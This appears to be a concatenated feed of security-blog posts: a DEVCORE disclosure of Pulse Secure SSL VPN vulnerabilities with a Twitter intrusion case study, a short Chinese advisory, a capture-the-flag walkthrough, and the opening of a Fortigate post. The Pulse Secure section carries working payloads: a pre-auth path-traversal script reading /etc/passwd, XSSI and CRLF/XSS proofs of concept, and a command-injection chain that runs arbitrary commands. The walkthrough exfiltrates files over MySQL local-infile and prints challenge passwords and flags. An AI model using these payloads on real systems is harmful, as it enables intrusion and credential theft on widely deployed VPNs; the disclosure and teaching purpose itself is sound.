  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

CVE-2019-11540: Cross-Site Script Inclusion

The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie!

Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!

PoC:

<!-- http://attacker/malicious.html -->

<script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script>
<script>
    window.onload = function() {
        window.document.writeln = function (msg) {
            if (msg.indexOf("DSID") >= 0) alert(msg)
        }
        ReplaceContent()
    }
</script>

CVE-2019-11507: Cross-Site Scripting

There is a CRLF Injection in /dana/home/cts_get_ica.cgi. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents.

PoC:

https://sslvpn/dana/home/cts_get_ica.cgi
?bm_id=x
&vdi=1
&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)>

CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS

The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users.

If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not!

CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS

This one is a little bit similar to the previous one, but with a different attack vector!

When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ../ in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!

CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow

There is a stack-based buffer overflow in the following Perl module implementations:

  • DSHC::ConsiderForReporting
  • DSHC::isSendReasonStringEnabled
  • DSHC::getRemedCustomInstructions

These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC.

https://sslvpn/dana-admin/auth/hc.cgi
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&policyid=0

And you can observed the segment fault from dmesg

cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]

CVE-2019-11510: Pre-auth Arbitrary File Reading

Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.

In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request->uri and request->filepath, so that we can specify the /dana/html5acc/guacamole/ in the end of the query string to bypass the validation and make request->filepath to any file you want to download!

And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/ in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.

Due to the exploit is in the wild, there is no longer any concern to show the payload:

import requests

r = requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r.content

CVE-2019-11539: Post-auth(admin) Command Injection

The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.

However, we did it, and we exploit it in a very smart way :)

The root cause of this vulnerability is very simple. Here is a code fragment of /dana-admin/diag/diag.cgi:

# ...
$options = tcpdump_options_syntax_check(CGI::param("options"));

# ...
sub tcpdump_options_syntax_check {
  my $options = shift;
  return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
  return undef;
}

It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter options! However, is it that easy? No!

In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like system, open and backtick

This module is called DSSAFE.pm. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is the code fragments on Gist.

From the code fragments, you can see it replaces the original system and do lots of checks in __parsecmd. It also blocks numerous bad characters such as:

[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]

The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that TCPDUMP supports and found that the -z postrotate-command may be useful. But the sad thing is that the TCPDUMP in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(

While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in /data/runtime/tmp/tt/ to speed up script rendering. So our next attempt is to write a file into the template cache directory via -w write-file argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.

As it seems we had reached the end of argument injection, we tried to dig deeper into the DSSFAFE.pm implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.

We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via STDOUT, could we just write the Perl by STDERR? The answer is yes. When we force the TCPDUMP to read a nonexistent-file via -r read-file. It shows the error:

tcpdump: [filename]: No such file or directory

It seems we can “partially” control the error message. Then we tried the filename print 123#, and the magic happens!

$ tcpdump -d -r 'print 123#'
  tcpdump: print 123#: No such file or directory
 
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
  123

The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!

As you can see, Perl supports the GOTO label, so the tcpdump: becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!

Finally, we use an incomplete I/O symbol < to fool the DSSAFE.pm command parser and redirect the STDERR into the cache directory! Here is the final exploit:

-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 

The concatenated command looks like:

/usr/sbin/tcpdump -d 
 -r'$x="ls /",system$x#'
 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 
 >/dev/null
 2>&1

And the generated setcookie.thtml.ttc looks like:

 tcpdump: $x="ls /",system$x#: No such file or directory

Once we have done this, we can just fetch the corresponding page to execute our command:

$ curl https://sslvpn/dana-na/auth/setcookie.cgi
 boot  bin  home  lib64       mnt      opt  proc  sys  usr  var
 data  etc  lib   lost+found  modules  pkg  sbin  tmp 
 ...

So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!

The Case Study

After Pulse Secure patched all the bugs on April 24, 2019. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their bug bounty program and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.

We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P

We started to hack Twitter on May 28, 2019. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from Duo. The manual mentions:

The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!

So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the Roaming Session feature, which is used to enhances mobility and allows a session from multiple IP locations.

Due to this “convenient” feature, we can just download the session database and forge our cookies to log into their system!

Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!

As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “WebVPN” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.

Yes, it’s SSRF!

Here we use a small trick to bypass the SSRF protections.

Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in sha256(md5_crypt(salt, …)) format…

If you are experienced in cracking hashes, you will know how hard it is. So…






We launched a 72 core AWS to crack that.

We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is B. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.

We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the HackerOne link for more details.

Recommendations

How to mitigate such attacks? Here we give several recommendations.

The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.

Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!

Bonus: Take over all the VPN clients

Our company, DEVCORE, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more RED!

We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.

During our research, we found a new attack vector to take over all the clients. It’s the “logon script” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.

Due to this “hacker-friendly” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:

Epilogue

OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!

Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)

Pulse Secure SSL VPN 資安通報

27 August 2019 at 16:00

內容

在我們對 Pulse Secure SSL VPN 的安全研究中,共發現了下列七個弱點。組合利用有機會取得 SSL VPN 設備的最高權限,可讓攻擊者進入用戶內網,甚至控制每個透過 SSL VPN 連線的使用者裝置。

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

受影響的版本如下:

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

目前已經出現攻擊者對全世界設備進行大規模掃描,請 Pulse Secure SSL VPN 用戶儘速更新,需要更新的版本資源可參考原廠 Pulse Secure 的公告

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/

附註

目前亦發現攻擊者對我們之前發表的 Fortigate SSL VPNPalo Alto GlobalProtect 弱點進行大規模掃描,再次提醒請用戶儘速更新以上 SSL VPN 設備至最新版。

ReadMe Walkthrough

18 August 2019 at 00:00

Overview

ReadMe is aiming to teach users about two things. One, a feature of MySQL that I have found to not be widely known about - which is that the client can be forced to send local files to the server. Two, some basic x86 assembly and analysis with gdb.

Network Configuration

ReadMe is currently using DHCP on the ens33 interface. This can be configured using netplan.

The open ports are 22 (SSH), 3360 (a fake MySQL server), and 80 (Apache).

User Credentials

tatham:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE julian:I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh

Both these users can login via SSH (required as part of the challenge). Julian is not part of the sudo group but tatham is.

Flags

  • User: 2e640cbe2ea53070a0dbd3e5104e7c98
  • Root: 52eeb6cfa53008c6b87a6c79f4347275

Path To User Flag

Initially, the user will be able to see three open ports:

  • 22
  • 80
  • 3306

The service listening on port 3306 is a Python script that accepts connections and mimics a MySQL server with remote authentication disabled. This is part rabbit-hole and part resource saver, given there is no need to have MySQL running.

On port 80, a web server can be found which needs to be brute forced to find some key files:

  • /info.php: shows phpinfo() output, which will show that the mysqli.allow_local_infile setting is enabled
  • /reminder.php: contains an important hint for the root flag (that the code in tatham’s directory is using an encoder) and will also reveal the path of a directory containing an important file
  • /adminer.php: a copy of adminer 4.4

Upon visiting reminder.php, the user will see a message directed towards julian followed by an image which is being served from a directory with no index that also contains a file named creds.txt. This file will reveal the path to where julian’s login credentials can be found on the local file system (/etc/julian.txt).

With this information, the user can point adminer towards their own MySQL server in order to exfiltrate the contents of /etc/julian.txt. To do this, a MySQL server must be installed (apt install mysql-server) and a user created that has all privileges on a database (this can be any database, for example’s sake, I’ll be using the mysql database).

When creating the user, the authentication type must be set to mysql_native_password due to the mysqli driver not supporting the latest default authentication method. If it is not, adminer will indicate to the user that it cannot authenticate and output a MySQL error.

To setup a user this way, the following command should be executed in the MySQL CLI:

CREATE USER 'jeff'@'%' IDENTIFIED WITH mysql_native_password BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'jeff'@'%';

Now that a new user is setup (in this case, jeff), the local_infile variable on the user’s MySQL server needs to be enabled. To do this, execute:

SET GLOBAL local_infile = true;

The setting can then be confirmed by running:

SHOW GLOBAL VARIABLES LIKE 'local_infile';

If the setting was successfully enabled, the following output will be displayed:

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| local_infile  | ON    |
+---------------+-------+

Now that the attacker’s MySQL server is setup, navigating to /adminer.php and filling in the connection details will force adminer to connect back to the attacker, where they will then be viewing their own database server in the web app.

From here, files local to ReadMe can be exfiltrated to the attacker using the local infile syntax. First, the user must create a new table to save the data into. For this example, I have created a table named exploit with a single text column.

After creating the table, going to the SQL command page and executing the following query will populate the exploit table with the contents of /etc/julian.txt:

load data local infile '/etc/julian.txt' into table mysql.exploit fields terminated by "\n"

After executing this query, clicking “select” to the left of the exploit table will reveal a row for each line in the file, which reveals the password for the julian account:

With the password recovered, the user can then login via SSH as julian using the password and get the user flag from /home/julian/user.txt

Path to Root Flag

After authenticating as julian, the user will be able to see the contents of tatham’s home directory. Within this directory are two files:

  • payload.bin: a file containing shellcode, which contains tatham’s password
  • poc.c: a file that the shellcode can be placed in to run it

There are two methods that can be used to decode the payload and recover the password.

Method 1: Debugging

First, place the contents of payload.bin into the placeholder of poc.c and compile with protections disabled:

gcc -m32 -fno-stack-protector -z execstack poc.c -o poc

Next, load poc into gdb (gdb ./poc) and disassemble the main function to find the point which the shellcode is called by running disas main:

After confirming the offset, place a breakpoint (b *main+164) and then run the executable. Once the breakpoint is hit, stepping into the call eax instruction will then leave the user at the point of the xorfuscator decoder stub being executed:

Once here, viewing the next 15 instructions that are to be executed (x/15i $pc) will reveal the address that the decoded payload can be found at after the stub has finished (in this case, 0xffffc595, this value will change every time due to ASLR):

A breakpoint should be placed here (b *0xffffc595) and once it is hit, after continuing execution, should be stepped into. Now EIP will be pointing at the original shellcode that has been decoded in place.

By viewing the next 70 instructions (x/70i $pc), the user will be able to dump out the original un-encoded instructions (the screenshot below was taken after stepping one instruction further in, in the original shellcode, there is a mov ebp, esp instruction before the first xor):

Continuing to execute from this point will result in the password not being revealed, as the original payload contains two key mistakes that need to be fixed if the user wishes to reveal it via execution.

Examining the recovered code will show 64 bytes being repeatedly loaded into the eax register, even though the rest of the code is trying to work with a value on the stack. This should make it clear that the lea eax instructions should actually be push instructions.

In addition to this, the decoder loop is exiting after the first iteration as a jz instruction is being used as opposed to a jnz.

A copy of the working and broken payloads can be found at the end of this post.

After reconstructing the NASM file to represent something functionally equivalent to the original code (see sample at end of this post), it can be compiled by running (assuming the code is in a file named fixed.nasm):

nasm -f elf32 fixed.nasm && ld -m elf_i386 fixed.o

The previous command will now have built a file named a.out which is the fixed executable, running this in gdb will make execution pause when it reaches the interrupts at the end of the file, and the base64 encoded password will be visible on the stack:

Decoding this value will reveal the password for the tatham account, which if the user logs into will be able to run any command as root using sudo, and will be able to then obtain the root flag.

Method 2: Manually Decoding

The alternative to recovering the decoded payload using gdb is to do it manually. Due to the relatively small size of the payload, this is doable and may make the process slightly easier if the encoding method can be identified.

The encoder used as well as a script that contains the decoder stub is publicly documented here: https://rastating.github.io/creating-a-custom-shellcode-encoder/

By first removing the decoder stub from the contents of payload.bin, the user will be left with only the encoded payload. The user can then work through the remaining values and XOR each pair with the byte that precedes it as per the illustration on the aforementioned page:

After recovering the original hexadecimal bytes, the ASM code can be recovered using ndisasm, as per below:

$ echo -ne "\x89\xe5\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x8d\x05\x12\x13\x7f\x7f\x8d\x05\x22\x2f\x7b\x15\x8d\x05\x12\x73\x24\x13\x8d\x05\x23\x04\x7b\x08\x8d\x05\x22\x70\x28\x73\x8d\x05\x12\x09\x28\x30\x8d\x05\x20\x2f\x16\x3b\x8d\x05\x19\x19\x0e\x36\x8d\x05\x13\x09\x7b\x15\x8d\x05\x60\x09\x7b\x75\x8d\x05\x10\x75\x16\x70\x8d\x05\x25\x2f\x16\x2d\x8d\x05\x23\x19\x24\x73\x8d\x05\x27\x75\x16\x09\x8d\x05\x0c\x2b\x77\x1a\x8d\x05\x17\x72\x78\x37\x8d\x4d\x00\x29\xe1\x8d\x15\x14\x00\x00\x00\x39\xd1\x74\x4a\x8d\x15\x18\x00\x00\x00\x39\xd1\x74\x48\x8d\x15\x1c\x00\x00\x00\x39\xd1\x74\x3e\x8d\x15\x20\x00\x00\x00\x39\xd1\x74\x3c\x8d\x15\x24\x00\x00\x00\x39\xd1\x74\x3a\x8d\x15\x28\x00\x00\x00\x39\xd1\x74\x38\x8d\x15\x2c\x00\x00\x00\x39\xd1\x74\x16\x8d\x15\x38\x00\x00\x00\x39\xd1\x74\x1c\xeb\x2a\xeb\xac\x8d\x1d\x46\x41\x41\x41\xeb\x28\x8d\x1d\x45\x41\x41\x41\xeb\x20\x8d\x1d\x42\x41\x41\x41\xeb\x18\x8d\x1d\x44\x41\x41\x41\xeb\x10\x8d\x1d\x34\x41\x41\x41\xeb\x08\x8d\x1d\x41\x41\x41\x41\xeb\x00\x8d\x45\x00\x29\xc8\x31\x18\x81\x28\x01\x01\x01\x01\x83\xe9\x04\x31\xc0\x39\xc1\x74\xb8\xcc\xcc\xcc\xcc" | ndisasm -b 32 -p intel -
00000000  89E5              mov ebp,esp
00000002  31C0              xor eax,eax
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  31D2              xor edx,edx
0000000A  8D0512137F7F      lea eax,[dword 0x7f7f1312]
00000010  8D05222F7B15      lea eax,[dword 0x157b2f22]
00000016  8D0512732413      lea eax,[dword 0x13247312]
0000001C  8D0523047B08      lea eax,[dword 0x87b0423]
00000022  8D0522702873      lea eax,[dword 0x73287022]
00000028  8D0512092830      lea eax,[dword 0x30280912]
0000002E  8D05202F163B      lea eax,[dword 0x3b162f20]
00000034  8D0519190E36      lea eax,[dword 0x360e1919]
0000003A  8D0513097B15      lea eax,[dword 0x157b0913]
00000040  8D0560097B75      lea eax,[dword 0x757b0960]
00000046  8D0510751670      lea eax,[dword 0x70167510]
0000004C  8D05252F162D      lea eax,[dword 0x2d162f25]
00000052  8D0523192473      lea eax,[dword 0x73241923]
00000058  8D0527751609      lea eax,[dword 0x9167527]
0000005E  8D050C2B771A      lea eax,[dword 0x1a772b0c]
00000064  8D0517727837      lea eax,[dword 0x37787217]
0000006A  8D4D00            lea ecx,[ebp+0x0]
0000006D  29E1              sub ecx,esp
0000006F  8D1514000000      lea edx,[dword 0x14]
00000075  39D1              cmp ecx,edx
00000077  744A              jz 0xc3
00000079  8D1518000000      lea edx,[dword 0x18]
0000007F  39D1              cmp ecx,edx
00000081  7448              jz 0xcb
00000083  8D151C000000      lea edx,[dword 0x1c]
00000089  39D1              cmp ecx,edx
0000008B  743E              jz 0xcb
0000008D  8D1520000000      lea edx,[dword 0x20]
00000093  39D1              cmp ecx,edx
00000095  743C              jz 0xd3
00000097  8D1524000000      lea edx,[dword 0x24]
0000009D  39D1              cmp ecx,edx
0000009F  743A              jz 0xdb
000000A1  8D1528000000      lea edx,[dword 0x28]
000000A7  39D1              cmp ecx,edx
000000A9  7438              jz 0xe3
000000AB  8D152C000000      lea edx,[dword 0x2c]
000000B1  39D1              cmp ecx,edx
000000B3  7416              jz 0xcb
000000B5  8D1538000000      lea edx,[dword 0x38]
000000BB  39D1              cmp ecx,edx
000000BD  741C              jz 0xdb
000000BF  EB2A              jmp short 0xeb
000000C1  EBAC              jmp short 0x6f
000000C3  8D1D46414141      lea ebx,[dword 0x41414146]
000000C9  EB28              jmp short 0xf3
000000CB  8D1D45414141      lea ebx,[dword 0x41414145]
000000D1  EB20              jmp short 0xf3
000000D3  8D1D42414141      lea ebx,[dword 0x41414142]
000000D9  EB18              jmp short 0xf3
000000DB  8D1D44414141      lea ebx,[dword 0x41414144]
000000E1  EB10              jmp short 0xf3
000000E3  8D1D34414141      lea ebx,[dword 0x41414134]
000000E9  EB08              jmp short 0xf3
000000EB  8D1D41414141      lea ebx,[dword 0x41414141]
000000F1  EB00              jmp short 0xf3
000000F3  8D4500            lea eax,[ebp+0x0]
000000F6  29C8              sub eax,ecx
000000F8  3118              xor [eax],ebx
000000FA  812801010101      sub dword [eax],0x1010101
00000100  83E904            sub ecx,byte +0x4
00000103  31C0              xor eax,eax
00000105  39C1              cmp ecx,eax
00000107  74B8              jz 0xc1
00000109  CC                int3
0000010A  CC                int3
0000010B  CC                int3
0000010C  CC                int3

After recovering the original payload, the user can either fix it as per the explanation in method 1, or they can try to analyse what is happening in the loop which is XORing the 64 encoded bytes on the stack against the below key and shifting the ASCII values negatively one position:

AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA

An illustration of the decoding process can be viewed on CyberChef here: https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Space’)XOR(%7B’option’:’UTF8’,’string’:’AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA’%7D,’Standard’,false)ROT47(-1)From_Base64(‘A-Za-z0-9%2B/%3D’,true)&input=MTcgNzIgNzggMzcgMGMgMmIgNzcgMWEgMjcgNzUgMTYgMDkgMjMgMTkgMjQgNzMgMjUgMmYgMTYgMmQgMTAgNzUgMTYgNzAgNjAgMDkgN2IgNzUgMTMgMDkgN2IgMTUgMTkgMTkgMGUgMzYgMjAgMmYgMTYgM2IgMTIgMDkgMjggMzAgMjIgNzAgMjggNzMgMjMgMDQgN2IgMDggMTIgNzMgMjQgMTMgMjIgMmYgN2IgMTUgMTIgMTMgN2YgN2Y

At this point, they can use the recovered password to login as tatham and retrieve the root flag using sudo as per method 1.

Fixed Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; push encoded password onto stack
    push  0x7f7f1312
    push  0x157b2f22
    push  0x13247312
    push  0x087b0423
    push  0x73287022
    push  0x30280912
    push  0x3b162f20
    push  0x360e1919
    push  0x157b0913
    push  0x757b0960
    push  0x70167510
    push  0x2d162f25
    push  0x73241923
    push  0x09167527
    push  0x1a772b0c
    push  0x37787217

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax
    jnz   short_loop_jmp

    int3
    int3
    int3
    int3

Original (Broken) Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; Challenge 1: stack push broken with loading into eax register
    lea   eax, [0x7f7f1312]
    lea   eax, [0x157b2f22]
    lea   eax, [0x13247312]
    lea   eax, [0x087b0423]
    lea   eax, [0x73287022]
    lea   eax, [0x30280912]
    lea   eax, [0x3b162f20]
    lea   eax, [0x360e1919]
    lea   eax, [0x157b0913]
    lea   eax, [0x757b0960]
    lea   eax, [0x70167510]
    lea   eax, [0x2d162f25]
    lea   eax, [0x73241923]
    lea   eax, [0x09167527]
    lea   eax, [0x1a772b0c]
    lea   eax, [0x37787217]

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax

    ; Challenge 2: jnz changed to jz
    jz    short_loop_jmp

    int3
    int3
    int3
    int3

Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN

8 August 2019 at 16:00

Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361)

Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!

We will also give a speech at the following conferences, just come and find us!

  • HITCON - Aug. 23 @ Taipei (Chinese)
  • HITB GSEC - Aug. 29,30 @ Singapore
  • RomHack - Sep. 28 @ Rome
  • and more …

Let’s start!

